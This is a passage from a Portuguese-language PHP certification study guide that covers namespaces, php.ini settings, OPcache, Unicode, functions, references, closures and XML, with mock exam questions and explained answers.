Pode-se usar essa abordagem quando a aplicação exige poucas chamadas a essa classe. Mas é
impraticável quando requer muitas chamadas, já que requer mais digitação e suscetibilidade a erros.
Nesses casos é interessante o uso de um alias:
Fundamentos do PHP 94

1 use \Agencia\Receptivo as R;
2 use \Agencia\Receptivo\Traslado as T;

Observando, podemos constatar que \Agencia\Receptivo é a biblioteca que contém inúmeras


classes, dentre elas a Traslado, sendo que agora podemos chamar abreviadamente:

1 $passeio = new R\Traslado;


2 //ou
3 $passeio = new T;

alias é uma estratégia para redução da nomenclatura de modo a facilitar o uso do namespace. Ex.:
use Applicacao\Receptivo\Balcao as BalcaoIn;.

Como novidade incorporada na versão 5.6 do PHP foi o operador use, que antes era utilizado
apenas para importar classes de um determinado espaço de nomes, e agora foi extendido e importa
constantes e funções.

1 namespace Vendas\Operadora {
2 const QUILOMETRAGEM = 7;
3 function f() { echo __FUNCTION__."\n"; }
4 }
5
6 namespace {
7 use const Vendas\Operadora\QUILOMETRAGEM;
8 use function Vendas\Operadora\f;
9
10 echo QUILOMETRAGEM."<br>";
11 f();
12 }

Eventualmente o desenvolvedor pode ter constantes e funções úteis para o seu projeto, portanto use
const e use function acessam esses recursos.

Outra novidade trazida pelo PHP 7.0 foi o agrupamento de declarações use:

1 use certificamp\php70\fundamentos\EspacoDeNomes;
2 use certificamp\php70\fundamentos\Constantes;

Ao invés de termos várias linhas para carregar diferentes namespaces, agora podemos agrupá-los:
Fundamentos do PHP 95

1 use certificamp\php70\fundamentos\{EspacoDeNomes,Constantes};

Ou aproveitando partes da hierarquia do espaço de nomes. Ex.:

1 use certificamp\php70\fundamentos\EspacoDeNomes;
2 use certificamp\php70\fundamentos\Constantes;
3 use certificamp\php70\bancodedados\Juncoes;
4 //OU
5 use certificamp\php70\{
6 fundamentos\EspacoDeNomes,
7 fundamentos\Constantes,
8 bancodedados\Juncoes
9 };

Inclusive o uso de alias é permitido internamente:

1 use certificamp\php70\{
2 fundamentos\EspacoDeNomes,
3 fundamentos\Constantes as Const,
4 bancodedados\Juncoes
5 };

Constantes e funções também podem ser encadeadas nesse agrupamento. Veja esse exemplo:

1 use certificamp\php70\fundamentos{
2 EspacoDeNomes,
3 const CAPITULO,
4 const QUESTOES,
5 function AplicaSimulado,
6 };

Extensões
Existem muitos add-ons disponíveis para a realização de tarefas específicas.
As extensões são adicionadas no arquivo de configuração php.ini (informando o seu caminho) e
podem ser habilitadas ou desabilitadas, bem como ter parametrizações específicas.
Quando disponíveis, tornam-se parte do namespace global da aplicação e podem oferecer funções,
classes, interfaces, constantes e variáveis.
Fundamentos do PHP 96

A gama de extensões é enorme e não há como abordarmos todas nesse guia. Importante salientar
que podem ser instaladas via PECL (PHP Extension Community Library) que é um repositório
de extensões desenvolvidas na linguagem C, similar ao repositório PEAR (PHP Extension and
Application Repository) que são funcionalidades escritas em PHP em forma de bibliotecas.
Atente-se para o termo userland, comumente utilizado, que significa espaço do usuário, que é o
código que roda fora do núcleo da linguagem.

Configuração
As configurações do PHP se concentram no arquivo php.ini. Todas as opções podem ser visualizadas
através da função phpinfo().
Então é possível editar o php.ini, localizar a linha que contém a cláusula e realizar os ajustes. Ex.:

memory_limit = 128M

Mas nem sempre essa opção está disponível, dependendo do tipo de hospedagem que se utiliza. Nos
casos de hospedagem compartilhada, talvez seja necessário realizarmos ajustes através da função
ini_set() Ex.:

1 ini_set("memory_limit", "128M");

Caso queira que essa configuração afete um diretório inteiro ou a raiz do site/sistema, é possível
adicionar uma diretiva no arquivo .htaccess (que provê configurações do servidor Apache), mas
desde que o PHP esteja rodando como módulo do Apache (ao invés de CGI):

php_value memory_limit 128M

Para evitar que o PHP exceda os limites máximos pré-estabelecidos no consumo de recursos
computacionais, podemos ajustar algumas cláusulas do php.ini, dentre elas:

• max_execution_time = 30 ; Tempo máximo de execução de cada script, em segundos


• max_input_time = 60 ; Quantidade máxima de tempo que cada script pode gastar realizando
parsing de dados
• memory_limit = 128M ; Quantidade máxima de memória que um script pode consumir
Fundamentos do PHP 97

Quais dos seguintes métodos estão disponíveis para limitar a quantidade de recur\
sos disponíveis ao PHP, configurados através do php.ini?
[ escolha 2 ]

A: Limitar a quantidade de memória que um script pode consumir


B: Limitar a quantidade total de memória que PHP usa em todo o servidor
C: Limitar o tempo máximo de execução de um script
D: Limitar o número máximo de processos simultâneos do PHP
E: Limitar o número máximo de threads simultâneas do PHP

No contexto de threads, o PHP usa uma extensão não nativa chamada pthreads³⁶, portanto podemos
desconsiderar a alternativa E:. As alternativas B e D dizem respeito às configurações do servidor de
aplicação (Apache ou NGINX), bem como do sistema operacional. Portanto as opções corretas são:
A (memory_limit) e C (max_execution_time).

Performance com bytecode caching


Por natureza scripts PHP são interpretados e compilados on-the-fly, supostamente mais lento que as
linguagens pré-compiladas.
O Zend Optimizer+ era um produto comercial da Zend e tornou-se open source, sendo renomeado
para OPcache, incorporado no lançamento da release 5.5 do PHP que ocorreu em junho de 2013.
O opcode cache (como também é chamado) é nativo a partir do PHP 5.5, desde que o PHP seja
compilado com a opção --enable-opcache.
OPcache interpreta o código PHP no primeira acesso, gera um bytecode e o armazena em memória.
Significa que os acessos subsequentes fazem a leitura a partir desse bytecode em memória, gerando
uma resposta muito mais rápida. O cache armazena código PHP compilado, mas jamais compila
dados trafegados entre cliente/servidor ou vindos de um banco de dados.
Importante salientar que ele nem sempre optimiza o acesso a determinado script PHP, dependendo
das estruturas de dados que o código PHP implementa.
As diretrizes básicas necessárias para habilitar o OPcache são:

³⁶http://pthreads.org
Fundamentos do PHP 98

zend_extension=opcache.so
opcache.enable=1
opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
opcache.enable_cli=1

A lista completa de opções do OPcache você encontra em: http://www.php.net/manual/pt_BR/


opcache.configuration.php.

Caso queira experimentar o ganho de performance, realize um teste de carga (stress test)
com Apache Bench antes e depois de habilitar o OPcache. Ex.:
ab -n 100 -c 5 http://www.site.com/

O que faz um cache bytecode?

A: É um mecanismo de cache comumente usado em funções para que rodem mais rapida\
mente
B: Faz cache de dados vindos de recursos externos, como bancos de dados e Web Se\
rvices, para que eles possam ser acessados mais rapidamente
C: É um cache que gera código legível por máquina, criado depois que é feito o p\
arser do código PHP
D: Realiza cache do HTML gerado pela saída do código PHP

A resposta correta é C:. O opcode cache gera um bytecode após o primeiro acesso, acelerando
as requisições subsequentes. Os resultados são melhores em scripts que não dependam de dados
externos, como banco de dados e serviços web.

Unicode
O padrão Unicode³⁷ superou o conjunto ASCII, pois oferece atualmente mais de 100 mil caracteres
- muito além dos 128 símbolos tradicionais do ASCII.
Os caracteres unicode também são conhecidos como code points.
O PHP 7.0 escapa caracteres unicode e os interpreta. Ex.:
³⁷http://www.unicode.org
Fundamentos do PHP 99

1 echo "\u{1F618}<br>";
2 echo "\u{260E} (54) 3282 1826<br>";
3 echo "Oferecemos \u{1F374}";

Para ver a lista completa de emojis, por exemplo, acesse Emoji Unicode Tables³⁸ ou Unicode.org³⁹.

As versões mais recentes do PHP trouxeram uma classe nativa chamada IntlChar que fornece uma
vasta quantidade de recursos com informação sobre os caracteres unicode, expondo funcionalidades
adicionais extraídas da International Components for Unicode - ICU⁴⁰.
Obs.: desde que a extensão Intl⁴¹ esteja instalada.

1 printf('%x', IntlChar::PROPERTY_MATH); //17


2 echo IntlChar::charName('#'); //NUMBER SIGN
3 var_dump(IntlChar::ispunct('?'));//bool(true)

A função rand() convencional utiliza a libc que tem problemas de performance e nem
sempre gera números verdadeiramente randômicos. A partir da versão 7.1 o rand() tornou-
se um alias para mt_rand() que utiliza o algoritmo Mersenne Twister (MT)⁴², considerado
mais rápido e com melhor aleatoriedade.

A propósito: não confunda rand() com round() que é uma função utilizada para arredondamentos
de valores.

Simulado
1.

³⁸http://apps.timwhitlock.info/emoji/tables/unicode
³⁹http://unicode.org/emoji/charts/full-emoji-list.html
⁴⁰http://www.icu-project.org
⁴¹http://php.net/manual/pt_BR/book.intl.php
⁴²http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/emt.html
Fundamentos do PHP 100

Como exibir os nomes com suas respectivas profissões?


<?php
$vetor[] = "Ari Stopassola Junior";
$vetor['profissao'] = "Desenvolvedor";
$vetor[] = "Ariel Stopassola";
$vetor['profissao'] = "Advogado";
$vetor[] = "Laci Stopassola";
$vetor['profissao'] = "Artista plástica";
?>

A:
foreach ($vetor as $conteudo => $indice){
echo $conteudo." ".$indice."<br>";
}

B:
foreach ($vetor as $indice => $conteudo){
echo $conteudo." ".$indice."<br>";
}

C:
foreach ($vetor as $indice => $conteudo){
echo $vetor[$indice]." ".$vetor['profissao']."<br>";
}

D:
for($i=0; $i<3; $i++){
//echo $i;
echo $vetor[$i]." ".$vetor['profissao']."<br>";
}

E: Nenhuma das alternativas

2.

Considere o seguinte trecho de código:


$resultado = $valor1 ??? $valor2;

Que operador deve ser usado ao invés do ??? onde a variável $resultado obtém o $\
valor1 se $valor1 for avaliado como verdadeiro e $resultado recebe $valor2 quand\
o falso? Apenas escreva o operador necessário no código.
Fundamentos do PHP 101

3.

Qual a saída do código a seguir:


var_dump(round(1.2));

A: bool(true);
B: float(1);
C: integer(1);
D: float(1.0);

4.

Qual das seguintes opções deve ser usada em conjunto com CASE dentro de uma decl\
aração SWITCH?

A: Scalar
B: Uma expressão
C: Boolean
D: Todas anteriores

5.

1 Qual a saída do código a seguir?


2 echo "1" + 2 * 0x02;
3
4 A: 1
5 B: 3
6 C: 5
7 D: 20
8 E: 7

Respostas do simulado
1.
Na alternativa A os nomes das variáveis $indice e $conteudo induzem ao erro. A ordem correta dos
elementos na sintaxe do foreach prevê o seguinte formato:
Fundamentos do PHP 102

1 foreach ($array as $indice => $conteudo) //CORRETA


2 foreach ($array as $conteudo => $indice) //INCORRETA

O $indice vem antes do $conteudo (na construção do foreach), então a alternativa B teria alguma
chance – assim como as alternativas C e D, exceto pelo fato de que a atribuição de $vetor acaba
sobrescrevendo a profissão, permanecendo só a última inserção. No caso Artista plástica.
Atribuir em $vetor[] gera um índice automático começando em 0 (caso não exista um índice
numérico no vetor), depois cria o 1 e assim sucessivamente. Mas a chave $vetor['profissao']
é fixa, fazendo com que possamos resgatar somente a profissão da última pessoa adicionada.
Portanto a resposta é E: Nenhuma das alternativas.
2.
Segundo a especificação requerida no enunciado, o operador adequado para essa situação é ?: que
é um operador ternário em sua forma curta.
3.
A resposta correta é B: float(1);.
O retorno da função round() arredonda e devolve um número de ponto flutuante (float), o que
pode causar confusão. Atente-se a esse detalhe.
4.
Variáveis escalares são as que contém integer, float, string ou boolean - que funcionam
perfeitamente com as instruções SWITCH/CASE. Expressões também são permitidas como, por
exemplo: switch(++$a). Portanto todas as alternativas listadas são permitidas. Resposta é D: Todas
anteriores.

5.
Primeiramente observe 0x02 que indica um número hexadecimal, por iniciar com 0x ou apenas x.
A conversão hexadecimal para decimal foge do nosso enfoque, mas basta lembrar-se da seguinte
tabela:
Decimal 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Hexadecimal 0 1 2 3 4 5 6 7 8 9 A B C D E F

Dificilmente o número decimal apresentado no exame será maior que 15. Caso, extraordinariamente,
apareça valores acima - basta seguir a lógica de conversão mostrada para o octal e binário. Da direita
para a esquerda, o primeiro dígito deve ser multiplicado por 16^0^ (que é 1), o segundo por 16^1^
(16), o terceiro por 16^2^ (256), 16^3^ (4096) e assim por diante. Basta somar e teremos a conversão
de hexadecimal para decimal. Ex.: 0x80 = 8 * 16^1 + 8 * 16^0 = 128.
Mas sabemos que 02 decimal é 2 em hexadecimal, multiplicado por 2 e somado com 1 (inteiro,
decorrente da conversão automática para inteiro) teremos 5. Resposta C.
Funções
Funções são blocos de código que executam isoladamente alguma ação, com seu próprio escopo de
variáveis.
Os nomes de funções não obedecem maiúsculas e minúsculas. Diz-se que são case-insensitive.
Significa que você pode chamar o procedimento pelo nome FUNCAO(), funcao() ou até mesmo
FuNcAo().
Podem ser referenciadas depois de utilizadas, já que o PHP pré-compila o script antes de executá-lo
de fato.
As funções são definidas através da palavra-chave function seguido do nome (que é opcional, no
caso das funções anônimas que veremos adiante), da lista de parâmetros (opcional) e do retorno
(opcional também):

1 function executeAlgo($arg1, $arg2)


2 {
3 echo "Executando...";
4 return true;
5 }

Qual das seguintes opções NÃO é uma declaração válida de função?

A: function x ($x1 = array())


B: function x (A $x1)
C: function x (A $x1 = null)
D: function x ($x1 = $x2)

Ao declararmos argumentos opcionais, como é o caso de $x1, precisamos prover um valor literal
que não precise ser avaliado - como é o caso da expressão $x1 = $x2 da alternativa D:. O array()
vazio e o valor null são aceitáveis, bem como o type hinting A. Portanto a resposta é D:.

Argumentos
A lista de argumentos é separada por vírgulas (,), sendo que o PHP dispõe de algumas funções para
manipulação de parâmetros:
Funções 104

Funções Descrição
func_num_args() Devolve o número de argumentos passados para a função
func_get_arg(x) Devolve o argumento passado da posição x (começando em zero)
func_get_args() Devolve todos os argumentos passados para a função

Ao definir parâmetros para uma função, é importante respeitar a especificação:

1 function exibeCodigoPostalDeOrigem($cep)
2 {
3 return $cep;
4 }
5 echo exibeCodigoPostalDeOrigem(); //ocasiona Fatal error

Mas as funções podem receber um argumento padrão, caso o desenvolvedor não informe. Ex.:

1 function exibeCodigoPostalDeOrigem($cep="95670-000")
2 {
3 return $cep;
4 }
5 echo exibeCodigoPostalDeOrigem(); //mostra 95670-000

Mas se o programador chamar a função passando parâmetro, a função assume o valor informado:

1 echo exibeCodigoPostalDeOrigem("95900-000"); //mostra 95900-000

Essa técnica é particularmente útil na atribuição de argumentos default.


Seguindo a lógica, observe a questão abaixo:

<?php
function codigoPostalDeOrigem($cep="95670-000", $cidade="Gramado", $uf="RS")
{
echo $cep . " - " . $cidade . " - " . $uf;
}

Para que a função codigoPostalDeOrigem() assuma valores padrão, como ela NÃO dev\
e ser invocada?

A: codigoPostalDeOrigem("54420-240", NULL, "PE");


B: codigoPostalDeOrigem("54420-240", "", "PE");
C: codigoPostalDeOrigem("54420-240", '', "PE");
D: codigoPostalDeOrigem("54420-240", , "PE");
Funções 105

A alternativa D resulta em Parse error pois não é permitido ignorar dessa forma um parâmetro que
é esperado pela função.

Função variádica
Funções variádicas (variadic functions) foram incorporadas na versão 5.6 do PHP e permitem que
se passe qualquer número de parâmetros para a função, ao invés de usar internamente a função
func_get_args. O operador ... (três pontos) deve ser utilizado na definição de função:

1 function SomaTrajeto(...$paradas)
2 {
3 $total = 0;
4 foreach($paradas as $valor){
5 $total += $valor;
6 }
7 return $total;
8 }
9
10 echo SomaTrajeto(7, 40, 32, 78);

O resultado do código acima é a soma dos argumentos 7, 40, 32, 78, itens que podem aumentar
ou diminuir de quantidade sem afetar a execução do script.
Outro recurso interessante é o desempacotamento de argumentos (argument unpacking) realizado
também pelos três pontos ..., porém no contexto de chamada de função. Esse operador é conhecido
em outras linguagens como splat ou rest parameter:

1 function adiciona($a, $b, $c, $d) {


2 return $a + $b + $c + $d;
3 }
4
5 $elementos = [2, 3, 4];
6 echo adiciona(1, ...$elementos);

A função adiciona() recebe quatro argumentos, mas ao invocar a função passou-se normalmente
o primeiro e os demais foram agrupados no array $elementos, que depois será rearranjado nos
respectivos parâmetros $b, $c e $d.
Funções 106

Escopo das variáveis


As variáveis declaradas na função são visíveis apenas dentro da respectiva função. Se forem
declaradas fora, serão manipuláveis externamente apenas - exceto quando forem identificadas e
forçadas como globais, através da sintaxe:

1 function exibe()
2 {
3 global $nome;
4 $nome = "Ari";
5
6 $GLOBALS["cidade"] = "Gramado";
7 }
8
9 exibe();
10 echo $nome; //exibe Ari
11 echo $cidade; //exibe Gramado

Há de se tomar cautela no uso de globais, pois a tendência é sempre encapsularmos para que não
haja substituição de valores e comportamentos anormais em nosso código.

No contexto de variáveis globais, qual a saída do código a seguir?


<?php
$titulo = "ZCPE 5.5";
function exibe(){
global $titulo;
$titulo = "ZCE 7.1";
}
echo $titulo;

A: ZCE 7.1
B: vazio
C: ZCPE 5.5ZCE 7.1
D: ZCPE 5.5

Essa questão serve para testar sua atenção. Ela sugestiona no enunciado às variáveis globais e
depois mostra uma implementação. Mas observe que a função exibe() sequer foi chamada, portanto
o conteúdo de $titulo mantém-se intacto com a atribuição inicial. Portanto a alternativa correta é
D: ZCPE 5.5.
Funções 107

Passagem por referência


Há duas formas de passagem de parâmetros: por valor (a mais comum) e por referência.
Por valor significa que iremos copiar o conteúdo e, ao manipularmos internamente, ele não afetará
o valor original dos argumentos.

1 $titulo = "ZCPE 5.5";


2 //passagem de parâmetro por valor
3 function exibe($titulo)
4 {
5 $titulo = "ZCE 7.1"; //altera $titulo para "ZCE 7.1"
6 }
7 exibe($titulo);
8 echo $titulo;

Ao colocar o & (e comercial) antes da variável, significa que a função vai passar o valor como
referência. Ou seja: toda e qualquer atribuição/manipulação dessa variável que houver internamente
a função, será refletida fora dela.

1 $titulo = "ZCPE 5.5";


2 //passagem de parâmetro por valor
3 function exibe(&$titulo)
4 {
5 $titulo = "ZCE 7.1"; //altera $titulo para "ZCE 7.1"
6 }
7 exibe($titulo);
8 echo $titulo;

Lembre-se que não é mais possível usar o & na chamada da função. Nas versões recentes do PHP só
é permitido usar o & na definição da função.

Qual a saída do código PHP a seguir:


function depois($a){
$a = "Depois ".$a;
}
function antes(&$a){
$a = $a." antes";
}
depois(antes($a));
echo $a;
Funções 108

_____________ (campo aberto)

Nesse exemplo de questão observe que apenas a função antes() passa a variável $a como referência.
Inicialmente $a é vazia, mas após a execução de antes() ela terá o valo " antes". A confusão
acontece ao executar depois() que induz o aspirante em achar que o valor de $a será novamente
modificado, o que não é verdade. Portanto a resposta que deve ser digitada é " antes" (sem aspas e
com espaço no começo).

Retorno
A declaração return estabelece o fim da execução da função e pode devolver arrays, objetos, funções
anônimas, variáveis, booleanos e nulo.

1 $certificacoes = array("ZCE", "ZCPE", "MCP", "CSM");


2 function &tragaUma($n){
3 global $certificacoes;
4 return $certificacoes[$n];
5 }
6
7 $titulo =& tragaUma(1); //Mostra "ZCPE"
8 $titulo = "Zend Certified PHP Engineer"; //Modificou o valor de certificacoes[1]
9 echo $certificacoes[1]; //Mostra "Zend Certified PHP Engineer"

Neste código, a função tragaUma(x) é como um alias para $certificacoes[x], ao invés de copiar
seu valor simplesmente - porque associamos por referência.
A variável $titulo é um apontamento para $certificacoes[1], portanto ao modificar $titulo
estaremos mexendo no índice 1 do array $certificacoes.
Esta técnica consiste em devolver uma referência ao invés de um valor propriamente, tendo uma
execução mais lenta.

Analisando o código a seguir, qual linha deve ser alterada para que a saída seja\
2:
<?php
class A {
protected $x = array(); /* Linha A */
public function getX() { /* Linha B */
return $this->x; /* Linha C */
}
Funções 109

$a = new A(); /* Linha D */


array_push($a->getX(), "one");
array_push($a->getX(), "two");
echo count($a->getX());

A: Não será necessário substituir linha alguma. O código como está já mostra o v\
alor 2
B: Linha A, para: protected &$x = array();
C: Linha B, para: public function &getX() {
D: Linha C, para: return &$this->x;
E: Linha D, para: $a =& new A();

Segundo a documentação oficial, especificação da função array_push() prevê: array_push ( array


&$array , mixed $value1 [, mixed $... ] ).
Significa que a função array_push() adiciona os elementos one e two ao final do array, desde que
$a->getX() seja passado por referência para a função.
O método getX() da classe A, na forma como está, devolve a cópia do array $x provocando erro.
Portanto a alternativa A já pode ser descartada.
A dúvida é onde atribuir & para que ele atenda a especificação da função array_push().
Tanto a alternativa B, D e E geram erro de sintaxe. A forma correta, para que a passagem por
referência se efetive, é public function &getX() { então alternativa correta é C.

Funções anônimas
Funções anônimas, eventualmente referenciadas como closures ou lambdas, são funções sem um
nome especificado - geralmente criadas como callbacks, também em atribuições de variáveis ou
como retorno de outras funções/métodos.
Pela sua natureza transitória, faz mais sentido criar uma anonymous function para tal tarefa. Assim
a função fica junto de seu uso, gerando códigos mais concisos e legíveis. Ex.:

1 $closure = function($colega) {
2 echo "Olá ".$colega;
3 };
4
5 $closure("Ari Junior");

Se você inspecionar a fundo, na realidade a variável $closure é uma instância da classe Closure.
Funções 110

Qual a saída do código a seguir?


$s = function(){
return "Certificamp";
};
echo gettype($s);

A: Certificamp
B: string
C: function
D: object
E: resource

A função gettype() retorna o tipo da variável indicada, que pode ser: boolean, integer, double (ao
invés de float), string, array, object, resource, NULL e unknown type.
Nesse caso $s é uma função anônima que essencialmente é uma instância da classe Closure. Portanto
a saída desse código será object (alternativa D). Experimente:

1 var_dump($s); //object(Closure)#1 (0) { }

A vantagem de usar uma função anônima como callback é que a sua implementação fica junto do
seu uso, tornando-a mais concisa e legível, diferentemente das funções convencionais nomeadas
(que geralmente se desmembram em locais separados).
O escopo da função anônima se restringe ao âmbito interno da função, como é o comportamento
padrão de qualquer função convencional nomeada. Mas é possível resgatar variáveis do escopo
externo utilizando a palavra reservada use. Ex.:

1 $mensagem = "A V I S O";


2 $closure = function($colega) use ($mensagem) {
3 echo $mensagem."<br>"."Olá ".$colega;
4 };
5
6 $closure("Ari Junior");

No exemplo acima teremos a variável $mensagem que é por natureza “desconhecida” internamente,
mas torna-se disponível assim que utilizamos use ($mensagem). Você pode passar inúmeras variá-
veis separando-as por vírgula.
Outra função interessante é call_user_func() que chama funções de usuário, passa parâmetros,
invoca métodos de objetos específicos e métodos estáticos. Veja o exemplo abaixo:
Funções 111

1 function certificamp($versao)
2 {
3 echo "Zend Certified Engineer - PHP ".$versao;
4 }
5
6 //callback simples que chama a função certificamp() e passa '7.1' como parâmetro
7 call_user_func('certificamp', '7.1');
8
9 //chama o método estático meuMetodo() de MinhaClasse
10 call_user_func(array('MinhaClasse', 'meuMetodo'));
11
12 //outra forma de chamar método estático (a partir do PHP 5.2.3)
13 call_user_func('MinhaClasse::meuMetodo');
14
15 //chamada metodo meuMetodo() do objeto $obj
16 $obj = new MinhaClasse;
17 call_user_func(array($obj, 'meuMetodo'));

Nesse contexto, vale a pena mencionar uma variação interessante que é a função call_user_-
func_array(). Essa função aceita os parâmetros em forma de array http://php.net/manual/pt_BR/
function.call-user-func-array.php.
Veremos ainda mais sobre closures no capítulo “Programação Orientada à Objetos”.

Simulado
1.

Das alternativas a seguir qual NÃO é uma declaração de função válida?

A: function x (A $x1 = null)


B: function x ($x1 = $x2)
C: function x (A $x1)
D: function x ($x1 = array())

2.

Como permitir passar para uma função um número variável de argumentos?

A: Usando algo como uma function test() com a função get_variable_args() no corp\
Funções 112

o da função
B: Usando algo como function test($parametros[])
C: Usando algo como function test(... $parameters)
D: Usando algo como uma functiontest() com a função func_get_args() dentro, no c\
orpo da função
E: Isto não é possível em PHP

3.

Considere o código abaixo:


<?php
function cresce($tamanho){
$tamanho .= "bigger ";
$tamanho = encolhe($tamanho);
return $tamanho;
}
function encolhe(&$tamanho){
$tamanho .= "smaller ";
return $tamanho;
}
$tamanho = "normal ";
$tamanho .= cresce($tamanho);
echo $tamanho;

Qual a saída do código acima?

A: normal normal bigger smaller


B: normal bigger smaller bigger smaller
C: Erro na linha "$tamanho = encolhe($tamanho);"
D: Erro na linha "function encolhe(&$tamanho) {"
E: Erro na linha "$tamanho .= cresce($tamanho);"

4.

Qual a saída do código a seguir?

<?php
function ordena_meu_array($array)
{
return sort($array);
Funções 113

$a = array(3, 2, 1);
var_dump(ordena_meu_array(&$a));
?>

A: NULL
B: 0 => 1, 1 => 2, 2 => 3
C: An invalid reference error
D: 2 => 1, 1 => 2, 0 => 3
E: bool(true)
F: Parse error

5.

Quais declarações a seguir, a respeito de funções anônimas em PHP, NÃO são verda\
deiras?
[ Escolha 2 ]

A: Funções anônimas podem ser vinculadas a objetos


B: As funções anônimas criadas no contexto do objeto são sempre vinculadas a ess\
e objeto
C: Atribuir closure a uma propriedade de um objeto o vincula-o a esse objeto
D: Os métodos bind() e bindTo() do objeto Closure fornecem meios para criar clos\
ures com diferentes vínculos e escopo
E: Binding define o valor de $this e o escopo para um closure

Respostas do simulado
1.
Esta pergunta trata da forma como os valores são passados para a função.
Na alternativa A se espera a passagem de um objeto $x1, instância da classe A. Caso não aconteça, o
script assume o valor null. Funciona perfeitamente, portanto ainda não é a resposta correta - já que
o enunciado solicita qual a declaração inválida.
Pulando para a alternativa C, o princípio é o mesmo da opção A (usando Type Hinting) e também
correta.
Funções 114

A resposta D pode gerar uma certa dúvida, mas a especificação aceita que se passe um array
como argumento padrão. Mais informações em https://secure.php.net/manual/pt_BR/functions.
arguments.php#functions.arguments.default.
Portanto a declaração NÃO válida é alternativa B.
2.
A alternativa A é a solução que usávamos antes da versão PHP 5.6, quando trouxeram o recurso
chamado funções variádicas. Como a prova baseia-se na release 7.1, a alternativa correta é C:
Usando algo como function test(... $parameters).

3.
A malícia dessa questão está na tentativa de confundir com a definição de função encolhe(&$tamanho),
passando $tamanho por referência.
Na prática o resultado não mudaria, já que estamos sobrescrevendo a variável $tamanho no contexto
interno relativo a função cresce(). Fazendo o teste de mesa, teremos:
$tamanho (externo) $tamanho (interno) Explicação
normal Atribuição inicial
normal bigger Chama a função cresce() e concatena
normal bigger smaller Chama a função encolhe() e altera por referência
normal bigger smaller Retorna a execução para cresce() e sobrescreve - mantend
normal normal bigger smaller Retorna para o fluxo normal do código, concatenando

Assim sendo, nessa questão a alternativa correta é A: normal normal bigger smaller.
4.
Essa é outra questão que ludibria o aspirante ao título ZCPE. O código insinua que visualizaremos
um array ordenado, o que é falso.
Com alguma perspicácia sabemos que a passagem de valores por referência requer que seja
previamente especificado na definição da função e não na chamada da função - como mostra o
código.
Desde a versão 5.4 do PHP não é mais permitido passar argumentos por referência na chamada de
funções. Para que o código funcionasse a contento seria necessário alterar a definição da função,
mudando para function ordena_meu_array(&$array) e assim evitar um Parse error.
Portanto a alternativa correta é F: Parse error, pois o & não é esperado ali.
Aproveitando a pergunta, lembre-se que a saída da função sort() é um booleano que indica se a
ordenação teve sucesso ou não, por isso a alternativa E: bool(true) seria uma armadilha.
5.
As respostas corretas são: B e C, lembrando que o enunciado pede quais são as respostas falsas.
Funções 115

As funções anônimas criadas no contexto do objeto podem ser vinculadas a outro objeto através do
método bindTo(). A mesma possibilidade ocorre quando atribuímos closure a uma propriedade de
um objeto, podendo vincular a outro.
Formatos e tipos de dados
Neste capítulo vamos rever os conceitos básicos de XML, bem como extensões para manipulação
deste formato. Na manipulação de XML utilizaremos as classes SimpleXML e DOM.
Vamos adentrar ao mundo dos Web Services com SOAP e REST, com exemplos de serviços que
disponibilizam e consomem dados.
Iremos abordar também a classe DateTime e o processo de manipulação de datas.

Fundamentos do XML
XML é acrônimo de eXtensible Markup Language e foi desenvolvido para estruturar, manter e
compartilhar dados - como formato de arquivo universal.
É uma linguagem de marcação onde o próprio usuário define as tags, que são metadados e que
podem seguir um dialeto específico como, por exemplo, SOAP e RSS.

1 <?xml version="1.0"?>
2 <biblioteca>
3 <livro isbn="9781449392772">
4 <titulo>Programming PHP</titulo>
5 <autor>Rasmus Lerdorf</autor>
6 <editora>O'Reilly</editora>
7 </livro>
8 <livro isbn="9781491905012">
9 <titulo>Modern PHP</titulo>
10 <autor>Josh Lockhart</autor>
11 <editora>O'Reilly</editora>
12 </livro>
13 </biblioteca>

O XML usa formatos auxiliares como Document Type Declaration (DTD) e XML Schema, para
descrever os dados.
Provê intercâmbio de dados entre sistemas heterogêneos, viabilizando o compartilhamento de dados
independente de plataforma - promovendo interoperabilidade.
Funciona em diferentes plataformas (de hardware, software ou linguagem), é formal, conciso,
extensível e baseado em texto puro.
Formatos e tipos de dados 117

O XML pode ser bem formado (Well-formed) quando contém um único elemento raiz, todas as tags
abertas estão devidamente fechadas e caracteres especiais são tratados: (<, >, &, '," etc).
Diz-se que ele é válido quando tem sua estrutura coerente com o DTD (que descreve a estrutura do
documento) e é bem formado.

Declarar um documento XML como standalone (independente) significa que ele não p\
ossui associação com informações externas de marcação.
Qual a alternativa abaixo sinaliza um documento XML como standalone?

A: <?xml version="1.0" standalone='on'?>


B: <?xml version="1.0" standalone='no'?>
C: <?xml version="1.0" standalone='yes'?>
D: <?xml version="1.0" standalone='1'?>
E: <?xml version="1.0" standalone='off'?>

A declaração autônoma de XML standalone indica se um documento depende de informações


de uma fonte externa para o seu conteúdo, como uma DTD (Definição de Tipo de Documento).
Essa declaração é importante para que os processadores XML tratem os dados adequadamente.
Para indicar que o documento é independente (que não requer dados externos) basta informar no
cabeçalho a instrução standalone='yes', portanto a resposta correta é C. Mais informações em
https://www.w3.org/TR/xml/#sec-rmd.

SimpleXML

É uma biblioteca que provê acesso simplificado aos dados em formato XML. Era uma extensão que
tornou-se parte do core.
SimpleXML fornece uma classe que proporciona acesso orientado à objetos as estruturas XML.
Elementos XML tornam-se propriedades de objetos e atributos desses elementos podem ser acessados
através de arrays associativos.
Para abrir um XML via modo procedural a partir do conteúdo ou acessando o arquivo que contém
os dados. Ex.:

1 //Carrega o conteúdo XML a partir de uma string


2 $xml = simplexml_load_string('<?xml...');
3 //Carrega o conteúdo XML a partir de um arquivo
4 $xml = simplexml_load_file('arquivo.xml');

Na abordagem orientada à objetos, a sintaxe seria:


Formatos e tipos de dados 118

1 $xmlstr = file_get_contents('arquivo.xml');
2 $xml = new SimpleXMLElement($xmlstr);
3 //ou diretamente…
4 $xml = new SimpleXMLElement('arquivo.xml', NULL, true);

O segundo parâmetro do construtor da classe SimpleXMLElement passa instruções a respeito da


libxml, que indica formas especiais de realizar o parser: http://pt.php.net/manual/pt_BR/libxml.
constants.php
O terceiro parâmetro é importante pois indica que o primeiro argumento é um caminho e não o
conteúdo em forma de string.
Esse conteúdo XML pode vir de uma url diretamente, desde que a diretiva allow_url_fopen (do
php.ini) esteja habilitada. Ex.: allow_url_fopen = on.
No exemplo abaixo perceba que o atributo do elemento XML <topico> transforma-se em um índice
do array associativo.

